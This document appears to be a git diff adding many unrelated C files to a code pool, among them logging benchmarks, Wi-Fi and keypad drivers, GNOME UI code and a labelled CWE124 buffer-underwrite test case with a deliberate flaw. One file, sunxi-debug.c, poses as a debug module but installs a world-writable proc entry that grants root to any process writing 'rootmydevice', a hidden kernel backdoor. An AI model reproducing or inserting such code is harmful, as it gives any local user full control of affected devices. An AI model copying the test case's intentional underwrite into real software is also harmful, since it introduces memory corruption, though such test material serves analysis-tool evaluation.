+#include "os_base.h" + +#include +#include +#include + +#define ITERATIONS 50000 +static qb_util_stopwatch_t *sw; + +extern void log_dict_words(void); + +static void +bm_finish (const char *operation) +{ + qb_util_stopwatch_stop(sw); + + if (strlen (operation) > 22) { + printf ("%s\t\t", operation); + } else { + printf ("%s\t\t\t", operation); + } + printf("%9.3f operations/sec\n", + ((float)ITERATIONS) / qb_util_stopwatch_sec_elapsed_get(sw)); +} + +int +main(void) +{ + int i; + + sw = qb_util_stopwatch_create(); + qb_log_init("simple-log", LOG_USER, LOG_INFO); + qb_log_ctl(QB_LOG_SYSLOG, QB_LOG_CONF_THREADED, QB_TRUE); + + qb_log_filter_ctl(QB_LOG_BLACKBOX, QB_LOG_FILTER_ADD, + QB_LOG_FILTER_FILE, "*", LOG_DEBUG); + qb_log_ctl(QB_LOG_BLACKBOX, QB_LOG_CONF_SIZE, 128000); + qb_log_ctl(QB_LOG_BLACKBOX, QB_LOG_CONF_THREADED, QB_FALSE); + qb_log_ctl(QB_LOG_BLACKBOX, QB_LOG_CONF_ENABLED, QB_TRUE); + + printf ("heating up cache with qb_log functionality\n"); + for (i = 0; i < ITERATIONS; i++) { + qb_log(LOG_DEBUG, "hello"); + } + qb_util_stopwatch_start(sw); + for (i = 0; i < ITERATIONS; i++) { + qb_log(LOG_DEBUG, "RecordA"); + } + bm_finish ("qb_log 1 arguments:"); + qb_util_stopwatch_start(sw); + for (i = 0; i < ITERATIONS; i++) { + qb_log(LOG_DEBUG, "%s%s", "RecordA", "RecordB"); + } + bm_finish ("qb_log 2 args(str):"); + qb_util_stopwatch_start(sw); + for (i = 0; i < ITERATIONS; i++) { + qb_log(LOG_DEBUG, "%s%s%s", "RecordA", "RecordB", "RecordC"); + } + bm_finish ("qb_log 3 args(str):"); + qb_util_stopwatch_start(sw); + for (i = 0; i < ITERATIONS; i++) { + qb_log(LOG_DEBUG, "%i %u %p", -534, 4508, &i); + } + bm_finish ("qb_log 3 args(int):"); +#if defined(HAVE_DICT_WORDS) && defined(HAVE_SLOW_TESTS) + qb_util_stopwatch_start(sw); + log_dict_words(); + bm_finish ("qb_log /usr/share/dict/words:"); +#endif /* HAVE_DICT_WORDS */ + + /* this will close the ringbuffer + */ + qb_log_fini(); + + return 0; +} diff --git a/pool/shard011/C/0141628_digits.c b/pool/shard011/C/0141628_digits.c new file mode 100644 index 0000000000000000000000000000000000000000..9184b85b7b646ee1535c88cd95d5b18227e0b9ec --- /dev/null +++ b/pool/shard011/C/0141628_digits.c @@ -0,0 +1,29 @@ +/**/ + +#include +#include +int main () { + + int x, y; + int temp; + + printf("\nEnter an integer > "); + scanf("%d", &y); + + while (1) { + x = y % 10; + if (abs(y) > 10) { + printf("\n%d", abs(x)); } + else if (abs(y) >= 0 && abs(y) < 10) { + printf("\n%d", x); + printf("\nThat's all, have a nice day!\n"); + return 0; + } + x = y / 10; + temp = x; + x = y; + y = temp; + } + return 0; +} + diff --git a/pool/shard011/C/0141629_esp_utils.c b/pool/shard011/C/0141629_esp_utils.c new file mode 100644 index 0000000000000000000000000000000000000000..aa697bd5a7f9af8e493a141c242436d62c3eeb9f --- /dev/null +++ b/pool/shard011/C/0141629_esp_utils.c @@ -0,0 +1,232 @@ +/* + * Copyright (c) 2012 Espressif System. + */ + +#include "linux/types.h" +#include "linux/kernel.h" +#include +#include +#include + +#include +#include +#include + +#include "esp_pub.h" +#include "esp_utils.h" +#include "esp_wmac.h" +#include "esp_debug.h" + +/* + * Convert IEEE channel number to MHz frequency. + */ +u32 +esp_ieee2mhz(u8 chan) +{ + if (chan == 14) + return 2484; + + if (chan < 14) + return 2407 + chan*5; + else + return 2512 + ((chan-15)*20); +} +enum { + ESP_RATE_1_LONG = 0x0, + ESP_RATE_2_LONG = 0x1, + ESP_RATE_2_SHORT = 0x5, + ESP_RATE_5_SHORT = 0x6, + ESP_RATE_5_LONG = 0x2, + ESP_RATE_11_SHORT = 0x7, + ESP_RATE_11_LONG = 0x3, + ESP_RATE_6 = 0xb, + ESP_RATE_9 = 0xf, + ESP_RATE_12 = 0xa, + ESP_RATE_18 = 0xe, + ESP_RATE_24 = 0x9, + ESP_RATE_36 = 0xd, + ESP_RATE_48 = 0x8, + ESP_RATE_54 = 0xc, + /* ESP_RATE_MCS0 =0x10, + ESP_RATE_MCS1 =0x11, + ESP_RATE_MCS2 =0x12, + ESP_RATE_MCS3 =0x13, + ESP_RATE_MCS4 =0x14, + ESP_RATE_MCS5 =0x15, + ESP_RATE_MCS6 =0x16, + ESP_RATE_MCS7 =0x17, + */ +}; + +static u8 esp_rate_table[20] = { + ESP_RATE_1_LONG, + ESP_RATE_2_SHORT, + ESP_RATE_5_SHORT, + ESP_RATE_11_SHORT, + ESP_RATE_6, + ESP_RATE_9, + ESP_RATE_12, + ESP_RATE_18, + ESP_RATE_24, + ESP_RATE_36, + ESP_RATE_48, + ESP_RATE_54, + /* ESP_RATE_MCS0, + ESP_RATE_MCS1, + ESP_RATE_MCS2, + ESP_RATE_MCS3, + ESP_RATE_MCS4, + ESP_RATE_MCS5, + ESP_RATE_MCS6, + ESP_RATE_MCS7, + */ +}; + +s8 esp_wmac_rate2idx(u8 rate) +{ + int i; + + for (i = 0; i < 20; i++) { + if (rate == esp_rate_table[i]) + return i; + } + + if (rate == ESP_RATE_2_LONG) + return 1; + if (rate == ESP_RATE_5_LONG) + return 2; + if (rate == ESP_RATE_11_LONG) + return 3; + + esp_dbg(ESP_DBG_ERROR,"%s unknown rate 0x%02x \n", __func__, rate); + + return 0; +} + +bool esp_wmac_rxsec_error(u8 error) +{ + return (error >= RX_SECOV_ERR && error <= RX_SECFIFO_TIMEOUT) || (error >= RX_WEPICV_ERR && error <= RX_WAPIMIC_ERR); +} + +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 39)) +int esp_cipher2alg(int cipher) +{ + if (cipher == WLAN_CIPHER_SUITE_TKIP) + return ALG_TKIP; + + if (cipher == WLAN_CIPHER_SUITE_CCMP) + return ALG_CCMP; + + if (cipher == WLAN_CIPHER_SUITE_WEP40 || cipher == WLAN_CIPHER_SUITE_WEP104) + return ALG_WEP; + + if (cipher == WLAN_CIPHER_SUITE_AES_CMAC) + return ALG_AES_CMAC; + + //printk("%s wrong cipher 0x%x!\n",__func__,cipher); + + return -1; +} +#endif /* NEW_KERNEL */ + +#ifdef RX_CHECKSUM_TEST +atomic_t g_iv_len; +void esp_rx_checksum_test(struct sk_buff *skb) +{ + static u32 ip_err = 0; + static u32 tcp_err = 0; + struct ieee80211_hdr *pwh = (struct ieee80211_hdr *)skb->data; + int hdrlen = ieee80211_hdrlen(pwh->frame_control); + + if(ieee80211_has_protected(pwh->frame_control)) + hdrlen += atomic_read(&g_iv_len); + + if (ieee80211_is_data(pwh->frame_control)) { + struct llc_snap_hdr * llc = (struct llc_snap_hdr *)(skb->data + hdrlen); + if (ntohs(llc->eth_type) == ETH_P_IP) { + int llclen = sizeof(struct llc_snap_hdr); + struct iphdr *iph = (struct iphdr *)(skb->data + hdrlen + llclen); + __sum16 csum_bak = iph->check; + + iph->check = 0; + iph->check = ip_fast_csum(iph, iph->ihl); + if (iph->check != csum_bak) { + esp_dbg(ESP_DBG_ERROR, "total ip checksum error %d\n", ++ip_err); + } + iph->check = csum_bak; + + if (iph->protocol == 0x06) { + struct tcphdr *tcph = (struct tcphdr *)(skb->data + hdrlen + llclen + iph->ihl * 4); + int datalen = skb->len - (hdrlen + llclen + iph->ihl * 4); + csum_bak = tcph->check; + + tcph->check = 0; + tcph->check = tcp_v4_check(datalen, iph->saddr, iph->daddr, csum_partial((char *)tcph, datalen, 0)); + if (tcph->check != csum_bak) + { + esp_dbg(ESP_DBG_ERROR, "total tcp checksum error %d\n", ++tcp_err); + } + tcph->check = csum_bak; + } + } + } +} + +#endif + +#ifdef GEN_ERR_CHECKSUM + +void esp_gen_err_checksum(struct sk_buff *skb) +{ + static u32 tx_seq = 0; + if ((tx_seq++ % 16) == 0) + { + struct ieee80211_hdr * hdr = (struct ieee80211_hdr *)skb->data; + int hdrlen = ieee80211_hdrlen(hdr->frame_control); + + if(ieee80211_has_protected(pwh->frame_control)) + hdrlen += IEEE80211_SKB_CB(skb)->control.hw_key->iv_len; + + struct llc_snap_hdr * llc = (struct llc_snap_hdr *)(skb->data + hdrlen); + if (ntohs(llc->eth_type) == ETH_P_IP) { + int llclen = sizeof(struct llc_snap_hdr); + struct iphdr *iph = (struct iphdr *)(skb->data + hdrlen + llclen); + + iph->check = ~iph->check; + + if (iph->protocol == 0x06) { + struct tcphdr *tcph = (struct tcphdr *)(skb->data + hdrlen + llclen + iph->ihl * 4); + tcph->check = ~tcph->check; + } + } + } +} +#endif + +bool esp_is_ip_pkt(struct sk_buff *skb) +{ + struct ieee80211_hdr * hdr = (struct ieee80211_hdr *)skb->data; + int hdrlen; + struct llc_snap_hdr * llc; + + if (!ieee80211_is_data(hdr->frame_control)) + return false; + + hdrlen = ieee80211_hdrlen(hdr->frame_control); + if(ieee80211_has_protected(hdr->frame_control)) +#if (LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 27)) + hdrlen += IEEE80211_SKB_CB(skb)->control.hw_key->iv_len; +#else + hdrlen += IEEE80211_SKB_CB(skb)->control.iv_len; +#endif +#ifdef RX_CHECKSUM_TEST + atomic_set(&g_iv_len, IEEE80211_SKB_CB(skb)->control.hw_key->iv_len); +#endif + if(skb->len < hdrlen + sizeof(struct llc_snap_hdr)) + return false; + llc = (struct llc_snap_hdr *)(skb->data + hdrlen); + if (ntohs(llc->eth_type) != ETH_P_IP) + return false; + else + return true; +} diff --git a/pool/shard011/C/0141630_clock-utils.c b/pool/shard011/C/0141630_clock-utils.c new file mode 100644 index 0000000000000000000000000000000000000000..d937b239c68585b91119ef08b7632016b835f4e6 --- /dev/null +++ b/pool/shard011/C/0141630_clock-utils.c @@ -0,0 +1,175 @@ +/* + * clock-utils.c + * + * Copyright (C) 2007 Vincent Untz + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, see . + * + * Authors: + * Vincent Untz + * + * Most of the original code comes from clock.c + */ + +#include "config.h" + +#ifdef HAVE_LANGINFO_H +#include +#endif + +#include + +#include + +#include + +#include "clock.h" + +#include "clock-utils.h" + +gboolean +clock_locale_supports_am_pm (void) +{ +#ifdef HAVE_NL_LANGINFO + const char *am; + + am = nl_langinfo (AM_STR); + return (am[0] != '\0'); +#else + return TRUE; +#endif +} + +GDesktopClockFormat +clock_locale_format (void) +{ + return clock_locale_supports_am_pm () ? + G_DESKTOP_CLOCK_FORMAT_12H : + G_DESKTOP_CLOCK_FORMAT_24H; +} + +void +clock_utils_display_help (GtkWidget *widget, + const char *doc_id, + const char *link_id) +{ + GError *error = NULL; + char *uri; + + if (link_id) + uri = g_strdup_printf ("help:%s/%s", doc_id, link_id); + else + uri = g_strdup_printf ("help:%s", doc_id); + + gtk_show_uri (gtk_widget_get_screen (widget), uri, + gtk_get_current_event_time (), &error); + + g_free (uri); + + if (error && + g_error_matches (error, G_IO_ERROR, G_IO_ERROR_CANCELLED)) + g_error_free (error); + else if (error) { + GtkWidget *parent; + GtkWidget *dialog; + char *primary; + + if (GTK_IS_WINDOW (widget)) + parent = widget; + else + parent = NULL; + + primary = g_markup_printf_escaped ( + _("Could not display help document '%s'"), + doc_id); + dialog = gtk_message_dialog_new ( + parent ? GTK_WINDOW (parent) : NULL, + GTK_DIALOG_MODAL|GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_ERROR, + GTK_BUTTONS_CLOSE, + "%s", primary); + + gtk_message_dialog_format_secondary_text ( + GTK_MESSAGE_DIALOG (dialog), + "%s", error->message); + + g_error_free (error); + g_free (primary); + + g_signal_connect (dialog, "response", + G_CALLBACK (gtk_widget_destroy), + NULL); + + gtk_window_set_icon_name (GTK_WINDOW (dialog), CLOCK_ICON); + gtk_window_set_screen (GTK_WINDOW (dialog), + gtk_widget_get_screen (widget)); + + if (parent == NULL) { + /* we have no parent window */ + gtk_window_set_skip_taskbar_hint (GTK_WINDOW (dialog), + FALSE); + gtk_window_set_title (GTK_WINDOW (dialog), + _("Error displaying help document")); + } + + gtk_widget_show (dialog); + } +} + +GdkPixbuf * +clock_utils_pixbuf_from_svg_resource_at_size (const char *resource, + int width, + int height) +{ + GInputStream *stream = NULL; + RsvgHandle *handle = NULL; + RsvgDimensionData svg_dimensions; + GdkPixbuf *pixbuf = NULL; + cairo_surface_t *surface = NULL; + cairo_matrix_t matrix; + cairo_t *cr = NULL; + + stream = g_resources_open_stream (resource, 0, NULL); + if (!stream) + goto out; + + handle = rsvg_handle_new (); + if (!handle) + goto out; + + if (!rsvg_handle_read_stream_sync (handle, stream, NULL, NULL)) + goto out; + + rsvg_handle_get_dimensions (handle, &svg_dimensions); + + surface = cairo_image_surface_create (CAIRO_FORMAT_ARGB32, width, height); + cr = cairo_create (surface); + cairo_matrix_init_scale (&matrix, + ((double) width / svg_dimensions.width), + ((double) height / svg_dimensions.height)); + cairo_transform (cr, &matrix); + rsvg_handle_render_cairo (handle, cr); + cairo_destroy (cr); + + pixbuf = gdk_pixbuf_get_from_surface (surface, 0, 0, width, height); + cairo_surface_destroy (surface); + +out: + if (handle) + rsvg_handle_close (handle, NULL); + if (stream) + g_object_unref (stream); + + return pixbuf; +} diff --git a/pool/shard011/C/0141631_sse-maxss-1.c b/pool/shard011/C/0141631_sse-maxss-1.c new file mode 100644 index 0000000000000000000000000000000000000000..7b88dfce710580359619bb0fd322508dd2f7af31 --- /dev/null +++ b/pool/shard011/C/0141631_sse-maxss-1.c @@ -0,0 +1,41 @@ +/* { dg-do run } */ +/* { dg-options "-O2 -msse" } */ +/* { dg-require-effective-target sse } */ + +#ifndef CHECK_H +#define CHECK_H "sse-check.h" +#endif + +#ifndef TEST +#define TEST sse_test +#endif + +#include CHECK_H + +#include + +static __m128 +__attribute__((noinline, unused)) +test (__m128 s1, __m128 s2) +{ + return _mm_max_ss (s1, s2); +} + +static void +TEST (void) +{ + union128 u, s1, s2; + float e[4]; + + s1.x = _mm_set_ps (24.43, 68.346, 43.35, 546.46); + s2.x = _mm_set_ps (1.17, 2.16, 3.15, 4.14); + u.x = test (s1.x, s2.x); + + e[0] = s1.a[0] > s2.a[0] ? s1.a[0]:s2.a[0]; + e[1] = s1.a[1]; + e[2] = s1.a[2]; + e[3] = s1.a[3]; + + if (check_union128 (u, e)) + abort (); +} diff --git a/pool/shard011/C/0141632_sunxi-debug.c b/pool/shard011/C/0141632_sunxi-debug.c new file mode 100644 index 0000000000000000000000000000000000000000..53ed9fcd0e348893a07b65fa06758c408a2884da --- /dev/null +++ b/pool/shard011/C/0141632_sunxi-debug.c @@ -0,0 +1,94 @@ +/* + * Sunxi_debug.c + * + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ +#include +#include +#include +#include + +#include +#include //add by fe3o4 +#include +#include + +static struct proc_dir_entry *proc_root; +static struct proc_dir_entry * proc_su; + + +static int sunxi_proc_su_write(struct file *file, const char __user *buffer, + unsigned long count, void *data) +{ + char *buf; + struct cred *cred; + + if (count < 1) + return -EINVAL; + + buf = kmalloc(count, GFP_KERNEL); + if (!buf) + return -ENOMEM; + + if (copy_from_user(buf, buffer, count)) { + kfree(buf); + return -EFAULT; + } + + if(!strncmp("rootmydevice",(char*)buf,12)){ + cred = (struct cred *)__task_cred(current); + cred->uid = 0; + cred->gid = 0; + cred->suid = 0; + cred->euid = 0; + cred->euid = 0; + cred->egid = 0; + cred->fsuid = 0; + cred->fsgid = 0; + printk("now you are root\n"); + } + + kfree(buf); + return count; +} + + +static int sunxi_proc_su_read(char *page, char **start, off_t off, + int count, int *eof, void *data) +{ + printk("sunxi debug: rootmydevice\n"); + return 0; +} + +static int sunxi_root_procfs_attach(void) +{ + proc_root = proc_mkdir("sunxi_debug", NULL); + proc_su= create_proc_entry("sunxi_debug", 0666, proc_root); + if (IS_ERR(proc_su)){ + printk("create sunxi_debug dir error\n"); + return -1; + } + proc_su->data = NULL; + proc_su->read_proc = sunxi_proc_su_read; + proc_su->write_proc = sunxi_proc_su_write; + return 0; + +} + +static int sunxi_debug_init(void) +{ + int ret; + ret = sunxi_root_procfs_attach(); + printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret); + if(ret){ + printk("===fe3o4== sunxi_root_procfs_attach failed===\n "); + } + return ret; +} + +subsys_initcall(sunxi_debug_init); + + diff --git a/pool/shard011/C/0141633_CWE124_Buffer_Underwrite__char_declare_cpy_63a.c b/pool/shard011/C/0141633_CWE124_Buffer_Underwrite__char_declare_cpy_63a.c new file mode 100644 index 0000000000000000000000000000000000000000..b64bed2aa2dc129e77d1883dd5bc5ad16b959159 --- /dev/null +++ b/pool/shard011/C/0141633_CWE124_Buffer_Underwrite__char_declare_cpy_63a.c @@ -0,0 +1,87 @@ +/* TEMPLATE GENERATED TESTCASE FILE +Filename: CWE124_Buffer_Underwrite__char_declare_cpy_63a.c +Label Definition File: CWE124_Buffer_Underwrite.stack.label.xml +Template File: sources-sink-63a.tmpl.c +*/ +/* + * @description + * CWE: 124 Buffer Underwrite + * BadSource: Set data pointer to before the allocated memory buffer + * GoodSource: Set data pointer to the allocated memory buffer + * Sinks: cpy + * BadSink : Copy string to data using strcpy + * Flow Variant: 63 Data flow: pointer to data passed from one function to another in different source files + * + * */ + +#include "std_testcase.h" + +#include + +#ifndef OMITBAD + +/* bad function declaration */ +void CWE124_Buffer_Underwrite__char_declare_cpy_63b_badSink(char * * dataPtr); + +void CWE124_Buffer_Underwrite__char_declare_cpy_63_bad() +{ + char * data; + char dataBuffer[100]; + memset(dataBuffer, 'A', 100-1); + dataBuffer[100-1] = '\0'; + /* FLAW: Set data pointer to before the allocated memory buffer */ + data = dataBuffer - 8; + CWE124_Buffer_Underwrite__char_declare_cpy_63b_badSink(&data); +} + +#endif /* OMITBAD */ + +#ifndef OMITGOOD + +/* goodG2B uses the GoodSource with the BadSink */ +void CWE124_Buffer_Underwrite__char_declare_cpy_63b_goodG2BSink(char * * data); + +static void goodG2B() +{ + char * data; + char dataBuffer[100]; + memset(dataBuffer, 'A', 100-1); + dataBuffer[100-1] = '\0'; + /* FIX: Set data pointer to the allocated memory buffer */ + data = dataBuffer; + CWE124_Buffer_Underwrite__char_declare_cpy_63b_goodG2BSink(&data); +} + +void CWE124_Buffer_Underwrite__char_declare_cpy_63_good() +{ + goodG2B(); +} + +#endif /* OMITGOOD */ + +/* Below is the main(). It is only used when building this testcase on + * its own for testing or for building a binary to use in testing binary + * analysis tools. It is not used when compiling all the testcases as one + * application, which is how source code analysis tools are tested. + */ + +#ifdef INCLUDEMAIN + +int main(int argc, char * argv[]) +{ + /* seed randomness */ + srand( (unsigned)time(NULL) ); +#ifndef OMITGOOD + printLine("Calling good()..."); + CWE124_Buffer_Underwrite__char_declare_cpy_63_good(); + printLine("Finished good()"); +#endif /* OMITGOOD */ +#ifndef OMITBAD + printLine("Calling bad()..."); + CWE124_Buffer_Underwrite__char_declare_cpy_63_bad(); + printLine("Finished bad()"); +#endif /* OMITBAD */ + return 0; +} + +#endif diff --git a/pool/shard011/C/0141634_cc-profile-combo-box.c b/pool/shard011/C/0141634_cc-profile-combo-box.c new file mode 100644 index 0000000000000000000000000000000000000000..a328b98c0165e03b59ac1982536223cbda997be0 --- /dev/null +++ b/pool/shard011/C/0141634_cc-profile-combo-box.c @@ -0,0 +1,135 @@ +/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 8 -*- + * + * Copyright (C) 2018 Canonical Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, see . + */ + +#include "cc-profile-combo-box.h" +#include "cc-sound-resources.h" + +struct _CcProfileComboBox +{ + GtkComboBox parent_instance; + + GtkListStore *profile_model; + + GvcMixerControl *mixer_control; + GvcMixerUIDevice *device; +}; + +G_DEFINE_TYPE (CcProfileComboBox, cc_profile_combo_box, GTK_TYPE_COMBO_BOX) + +static void +profile_changed_cb (CcProfileComboBox *self) +{ + GtkTreeIter iter; + g_autofree gchar *profile = NULL; + + if (!gtk_combo_box_get_active_iter (GTK_COMBO_BOX (self), &iter)) + return; + + gtk_tree_model_get (GTK_TREE_MODEL (self->profile_model), &iter, + 1, &profile, + -1); + + if (!gvc_mixer_control_change_profile_on_selected_device (self->mixer_control, + self->device, + profile)) + { + g_warning ("Failed to change profile on %s", gvc_mixer_ui_device_get_description (self->device)); + } +} + +static void +cc_profile_combo_box_dispose (GObject *object) +{ + CcProfileComboBox *self = CC_PROFILE_COMBO_BOX (object); + + g_clear_object (&self->device); + + G_OBJECT_CLASS (cc_profile_combo_box_parent_class)->dispose (object); +} + +void +cc_profile_combo_box_class_init (CcProfileComboBoxClass *klass) +{ + GObjectClass *object_class = G_OBJECT_CLASS (klass); + GtkWidgetClass *widget_class = GTK_WIDGET_CLASS (klass); + + object_class->dispose = cc_profile_combo_box_dispose; + + gtk_widget_class_set_template_from_resource (widget_class, "/org/gnome/control-center/sound/cc-profile-combo-box.ui"); + + gtk_widget_class_bind_template_child (widget_class, CcProfileComboBox, profile_model); + + gtk_widget_class_bind_template_callback (widget_class, profile_changed_cb); +} + +void +cc_profile_combo_box_init (CcProfileComboBox *self) +{ + g_resources_register (cc_sound_get_resource ()); + + gtk_widget_init_template (GTK_WIDGET (self)); +} + +void +cc_profile_combo_box_set_device (CcProfileComboBox *self, + GvcMixerControl *mixer_control, + GvcMixerUIDevice *device) +{ + GList *profiles, *link; + + g_return_if_fail (CC_IS_PROFILE_COMBO_BOX (self)); + + if (device == self->device) + return; + + g_clear_object (&self->mixer_control); + self->mixer_control = g_object_ref (mixer_control); + g_clear_object (&self->device); + gtk_list_store_clear (self->profile_model); + + if (device == NULL) + return; + + self->device = g_object_ref (device); + profiles = gvc_mixer_ui_device_get_profiles (device); + for (link = profiles; link; link = link->next) + { + GvcMixerCardProfile *profile = link->data; + GtkTreeIter iter; + + gtk_list_store_append (self->profile_model, &iter); + gtk_list_store_set (self->profile_model, &iter, + 0, profile->human_profile, + 1, profile->profile, + -1); + + if (g_strcmp0 (gvc_mixer_ui_device_get_active_profile (device), profile->profile) == 0) + { + g_signal_handlers_block_by_func(self, profile_changed_cb, self); + gtk_combo_box_set_active_iter (GTK_COMBO_BOX (self), &iter); + g_signal_handlers_unblock_by_func(self, profile_changed_cb, self); + } + } +} + +gint +cc_profile_combo_box_get_profile_count (CcProfileComboBox *self) +{ + g_return_val_if_fail (CC_IS_PROFILE_COMBO_BOX (self), 0); + return gtk_tree_model_iter_n_children (GTK_TREE_MODEL (self->profile_model), NULL); +} diff --git a/pool/shard011/C/0141635_w90p910_keypad.c b/pool/shard011/C/0141635_w90p910_keypad.c new file mode 100644 index 0000000000000000000000000000000000000000..ee163bee8cce3c32e2ec3a50181dd4d1c56fafdb --- /dev/null +++ b/pool/shard011/C/0141635_w90p910_keypad.c @@ -0,0 +1,271 @@ +/* + * Copyright (c) 2008-2009 Nuvoton technology corporation. + * + * Wan ZongShun + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation;version 2 of the License. + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +/* Keypad Interface Control Registers */ +#define KPI_CONF 0x00 +#define KPI_3KCONF 0x04 +#define KPI_LPCONF 0x08 +#define KPI_STATUS 0x0C + +#define IS1KEY (0x01 << 16) +#define INTTR (0x01 << 21) +#define KEY0R (0x0f << 3) +#define KEY0C 0x07 +#define DEBOUNCE_BIT 0x08 +#define KSIZE0 (0x01 << 16) +#define KSIZE1 (0x01 << 17) +#define KPSEL (0x01 << 19) +#define ENKP (0x01 << 18) + +#define KGET_RAW(n) (((n) & KEY0R) >> 3) +#define KGET_COLUMN(n) ((n) & KEY0C) + +#define W90P910_NUM_ROWS 8 +#define W90P910_NUM_COLS 8 +#define W90P910_ROW_SHIFT 3 + +struct w90p910_keypad { + const struct w90p910_keypad_platform_data *pdata; + struct clk *clk; + struct input_dev *input_dev; + void __iomem *mmio_base; + int irq; + unsigned short keymap[W90P910_NUM_ROWS * W90P910_NUM_COLS]; +}; + +static void w90p910_keypad_scan_matrix(struct w90p910_keypad *keypad, + unsigned int status) +{ + struct input_dev *input_dev = keypad->input_dev; + unsigned int row = KGET_RAW(status); + unsigned int col = KGET_COLUMN(status); + unsigned int code = MATRIX_SCAN_CODE(row, col, W90P910_ROW_SHIFT); + unsigned int key = keypad->keymap[code]; + + input_event(input_dev, EV_MSC, MSC_SCAN, code); + input_report_key(input_dev, key, 1); + input_sync(input_dev); + + input_event(input_dev, EV_MSC, MSC_SCAN, code); + input_report_key(input_dev, key, 0); + input_sync(input_dev); +} + +static irqreturn_t w90p910_keypad_irq_handler(int irq, void *dev_id) +{ + struct w90p910_keypad *keypad = dev_id; + unsigned int kstatus, val; + + kstatus = __raw_readl(keypad->mmio_base + KPI_STATUS); + + val = INTTR | IS1KEY; + + if (kstatus & val) + w90p910_keypad_scan_matrix(keypad, kstatus); + + return IRQ_HANDLED; +} + +static int w90p910_keypad_open(struct input_dev *dev) +{ + struct w90p910_keypad *keypad = input_get_drvdata(dev); + const struct w90p910_keypad_platform_data *pdata = keypad->pdata; + unsigned int val, config; + + /* Enable unit clock */ + clk_enable(keypad->clk); + + val = __raw_readl(keypad->mmio_base + KPI_CONF); + val |= (KPSEL | ENKP); + val &= ~(KSIZE0 | KSIZE1); + + config = pdata->prescale | (pdata->debounce << DEBOUNCE_BIT); + + val |= config; + + __raw_writel(val, keypad->mmio_base + KPI_CONF); + + return 0; +} + +static void w90p910_keypad_close(struct input_dev *dev) +{ + struct w90p910_keypad *keypad = input_get_drvdata(dev); + + /* Disable clock unit */ + clk_disable(keypad->clk); +} + +static int w90p910_keypad_probe(struct platform_device *pdev) +{ + const struct w90p910_keypad_platform_data *pdata = + pdev->dev.platform_data; + const struct matrix_keymap_data *keymap_data; + struct w90p910_keypad *keypad; + struct input_dev *input_dev; + struct resource *res; + int irq; + int error; + + if (!pdata) { + dev_err(&pdev->dev, "no platform data defined\n"); + return -EINVAL; + } + + keymap_data = pdata->keymap_data; + + irq = platform_get_irq(pdev, 0); + if (irq < 0) { + dev_err(&pdev->dev, "failed to get keypad irq\n"); + return -ENXIO; + } + + keypad = kzalloc(sizeof(struct w90p910_keypad), GFP_KERNEL); + input_dev = input_allocate_device(); + if (!keypad || !input_dev) { + dev_err(&pdev->dev, "failed to allocate driver data\n"); + error = -ENOMEM; + goto failed_free; + } + + keypad->pdata = pdata; + keypad->input_dev = input_dev; + keypad->irq = irq; + + res = platform_get_resource(pdev, IORESOURCE_MEM, 0); + if (res == NULL) { + dev_err(&pdev->dev, "failed to get I/O memory\n"); + error = -ENXIO; + goto failed_free; + } + + res = request_mem_region(res->start, resource_size(res), pdev->name); + if (res == NULL) { + dev_err(&pdev->dev, "failed to request I/O memory\n"); + error = -EBUSY; + goto failed_free; + } + + keypad->mmio_base = ioremap(res->start, resource_size(res)); + if (keypad->mmio_base == NULL) { + dev_err(&pdev->dev, "failed to remap I/O memory\n"); + error = -ENXIO; + goto failed_free_res; + } + + keypad->clk = clk_get(&pdev->dev, NULL); + if (IS_ERR(keypad->clk)) { + dev_err(&pdev->dev, "failed to get keypad clock\n"); + error = PTR_ERR(keypad->clk); + goto failed_free_io; + } + + /* set multi-function pin for w90p910 kpi. */ + mfp_set_groupi(&pdev->dev); + + input_dev->name = pdev->name; + input_dev->id.bustype = BUS_HOST; + input_dev->open = w90p910_keypad_open; + input_dev->close = w90p910_keypad_close; + input_dev->dev.parent = &pdev->dev; + + error = matrix_keypad_build_keymap(keymap_data, NULL, + W90P910_NUM_ROWS, W90P910_NUM_COLS, + keypad->keymap, input_dev); + if (error) { + dev_err(&pdev->dev, "failed to build keymap\n"); + goto failed_put_clk; + } + + error = request_irq(keypad->irq, w90p910_keypad_irq_handler, + 0, pdev->name, keypad); + if (error) { + dev_err(&pdev->dev, "failed to request IRQ\n"); + goto failed_put_clk; + } + + __set_bit(EV_REP, input_dev->evbit); + input_set_capability(input_dev, EV_MSC, MSC_SCAN); + input_set_drvdata(input_dev, keypad); + + /* Register the input device */ + error = input_register_device(input_dev); + if (error) { + dev_err(&pdev->dev, "failed to register input device\n"); + goto failed_free_irq; + } + + platform_set_drvdata(pdev, keypad); + return 0; + +failed_free_irq: + free_irq(irq, pdev); +failed_put_clk: + clk_put(keypad->clk); +failed_free_io: + iounmap(keypad->mmio_base); +failed_free_res: + release_mem_region(res->start, resource_size(res)); +failed_free: + input_free_device(input_dev); + kfree(keypad); + return error; +} + +static int w90p910_keypad_remove(struct platform_device *pdev) +{ + struct w90p910_keypad *keypad = platform_get_drvdata(pdev); + struct resource *res; + + free_irq(keypad->irq, pdev); + + clk_put(keypad->clk); + + input_unregister_device(keypad->input_dev); + + iounmap(keypad->mmio_base); + res = platform_get_resource(pdev, IORESOURCE_MEM, 0); + release_mem_region(res->start, resource_size(res)); + + 